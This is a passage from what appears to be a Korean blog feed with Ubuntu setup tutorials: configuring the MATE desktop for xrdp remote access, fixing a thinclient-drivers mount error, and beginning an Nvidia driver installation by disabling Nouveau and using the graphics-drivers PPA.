&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo tasksel install ubuntu-mate-desktop&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;설치하다보면 아래의 순서로 진행하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ca3MxG/btqCbUP16Bm/WRMkjtkGDIXcaM7WKYHRH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ca3MxG/btqCbUP16Bm/WRMkjtkGDIXcaM7WKYHRH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ca3MxG/btqCbUP16Bm/WRMkjtkGDIXcaM7WKYHRH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fca3MxG%2FbtqCbUP16Bm%2FWRMkjtkGDIXcaM7WKYHRH1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w8z6i/btqCbgy6lrM/KsKLVW5keCgtgd6aI5ISEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w8z6i/btqCbgy6lrM/KsKLVW5keCgtgd6aI5ISEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w8z6i/btqCbgy6lrM/KsKLVW5keCgtgd6aI5ISEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw8z6i%2FbtqCbgy6lrM%2FKsKLVW5keCgtgd6aI5ISEk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ reboot&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7ro8f/btqB9YlCTdJ/YWny0sKaVdAIjkcKXVVrt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7ro8f/btqB9YlCTdJ/YWny0sKaVdAIjkcKXVVrt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7ro8f/btqB9YlCTdJ/YWny0sKaVdAIjkcKXVVrt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7ro8f%2FbtqB9YlCTdJ%2FYWny0sKaVdAIjkcKXVVrt0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;Mate 데스크탑 접속&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get update&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install mate-core mate-desktop-environment mate-notification-daemon&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;설치 이후 /etc/xrdp/startwm.sh 파일을 업데이트 해야한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo sed -i.bak '/fi/a/ #xrdp multiple users configuration \n mate-session \n' /etc/xrdp/startwm.sh&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;다시 window10에서 원격접속을 실행하면 다음과 같다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/27hE1/btqCcBWNI0T/xHLCwVD0gutPsiysPzuXeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/27hE1/btqCcBWNI0T/xHLCwVD0gutPsiysPzuXeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/27hE1/btqCcBWNI0T/xHLCwVD0gutPsiysPzuXeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F27hE1%2FbtqCcBWNI0T%2FxHLCwVD0gutPsiysPzuXeK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;가끔 terminal에 명령어를 실행하면 thinclinet_drivers 문제가 발생한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tZT9o/btqB9x2QvOC/XYj5x4sbA7CFDjigz8PcqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tZT9o/btqB9x2QvOC/XYj5x4sbA7CFDjigz8PcqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tZT9o/btqB9x2QvOC/XYj5x4sbA7CFDjigz8PcqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtZT9o%2FbtqB9x2QvOC%2FXYj5x4sbA7CFDjigz8PcqK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;아래 명령어를 통해 thinclient-drivers를 umount 할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo umount -l /home/&amp;lt;username&amp;gt;/thinclient-drivers&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;xrdp를 재시작하고 재부팅하면 성공적으로 사용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo service xrdp restart&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo reboot&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;========================================================================================================================================================&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;i&gt;위 내용은 아래의 블로그들을 참고 했습니다.&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://jimnong.tistory.com/757&quot;&gt;https://jimnong.tistory.com/757&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;http://c-nergy.be/blog/?p=12043&quot;&gt;http://c-nergy.be/blog/?p=12043&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://home.angelnara.kr/blog/itinfo/%EC%9A%B0%EB%B6%84%ED%88%AC/13812/&quot;&gt;https://home.angelnara.kr/blog/itinfo/%EC%9A%B0%EB%B6%84%ED%88%AC/13812/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://codechacha.com/ko/install-nvidia-driver-ubuntu/&quot;&gt;https://codechacha.com/ko/install-nvidia-driver-ubuntu/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://linuxconfig.org/how-to-install-mate-desktop-on-ubuntu-18-04-bionic-beaver-linux&quot;&gt;https://linuxconfig.org/how-to-install-mate-desktop-on-ubuntu-18-04-bionic-beaver-linux&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://goodtogreate.tistory.com/entry/%EC%9A%B0%EB%B6%84%ED%88%AC-1604-%EC%9B%90%EA%B2%A9-%EB%8D%B0%EC%8A%A4%ED%81%AC%ED%83%91-%EC%84%A4%EC%A0%95&quot;&gt;https://goodtogreate.tistory.com/entry/%EC%9A%B0%EB%B6%84%ED%88%AC-1604-%EC%9B%90%EA%B2%A9-%EB%8D%B0%EC%8A%A4%ED%81%AC%ED%83%91-%EC%84%A4%EC%A0%95&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;http://c-nergy.be/blog/?p=8952&quot;&gt;http://c-nergy.be/blog/?p=8952&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://locker69.tistory.com/entry/Error-when-getting-information-for-file-homeleedainthinclientdrivesTransport-endpoint-is-not-connected&quot;&gt;https://locker69.tistory.com/entry/Error-when-getting-information-for-file-homeleedainthinclientdrivesTransport-endpoint-is-not-connected&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/248</guid>
      <comments>https://marcokhan.tistory.com/248#entry248comment</comments>
      <pubDate>Fri, 21 Feb 2020 17:10:14 +0900</pubDate>
    </item>
    <item>
      <title>Ubuntu 18.04, Install Nvidia driver and CUDA, cuDNN</title>
      <link>https://marcokhan.tistory.com/247</link>
      <description>&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;Ubuntu에서 Nvidia 계열의 GPU를 사용하여 CUDA를 이용해 프로그래밍을 하는 상황이 많이 존재한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;본 포스팅에서는 우선 Nvidia driver를 설치하고 이후 CUDA를 설치하는 방법에 대해 설명한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;** 참고 **&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ vim ~/.bashrc&lt;/b&gt; 의 line 70 은 사용자의 prompt를 변경할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;좀 더 편리한 prompt를 사용하기 위해 아래의 코드를 이용해 변경했다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;PS1=&quot;[\[\e[1;31m\]\u\[\e[m\]@\[\e[1;32m\]\h\[\e[m\]:&amp;nbsp;\[\e[1;36m\]\w\[\e[m\]]$&amp;nbsp;&quot;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ source ~/.bashrc&lt;/b&gt; 명령을 통해 bashrc를 적용할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;재접속 시 prompt가 변경된것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cwp9O/btqBUAdtGnt/8ythDB1tAdxGjmZQBT4iB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cwp9O/btqBUAdtGnt/8ythDB1tAdxGjmZQBT4iB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cwp9O/btqBUAdtGnt/8ythDB1tAdxGjmZQBT4iB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCwp9O%2FbtqBUAdtGnt%2F8ythDB1tAdxGjmZQBT4iB0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;1. Nvidia driver 설치&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;====================================================================&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;Ubuntu에는 기본적으로 Nouveau 드라이버가 설치되어 있다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;Nvidia 드라이버와 Nouveau 드라이버가 모두 설치되어 있으면 collision이 발생할 수 있기 때문에 Nouveau를 disable 해야한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;아래의 두 명령어로 disable 한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo apt&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; remove nvidia&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; sudo apt autoremove&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo apt&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; install dkms build&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;essential linux&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;headers&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;generic&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;/etc/modprobe.d/blacklist.conf 파일에 아래의 blacklist를 추가한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo vi &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;etc&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;modprobe&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;d&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;blacklist&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;conf &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;blacklist nouveau &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;blacklist lbm&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;nouveau &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;options nouveau modeset&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; nouveau off &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; lbm&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;nouveau off&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo update&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;initramfs &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;u&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ reboot&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;위 과정을 통해 Nouveau 드라이버를 disable 할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;====================================================================&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo lshw -C display&lt;/b&gt; 명령어로 우분투에서 사용할 수 있는 hardware list를 보여준다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eAnRNz/btqBUSZaXTn/ckoNqQeOGQRgzct6Ya4wLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eAnRNz/btqBUSZaXTn/ckoNqQeOGQRgzct6Ya4wLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eAnRNz/btqBUSZaXTn/ckoNqQeOGQRgzct6Ya4wLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeAnRNz%2FbtqBUSZaXTn%2FckoNqQeOGQRgzct6Ya4wLK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;간단히 설치할 수 있는 방법으로 ubuntu에서 Nvidia 그래픽카드 관련 드라이버를 자동 설치해주는 명령어가 존재한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo add-apt-repository ppa:graphics-drivers/ppa&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo apt update&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo ubuntu-drivers autoinstall&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;$ sudo reboot&lt;/b&gt;&lt;/p&gt;
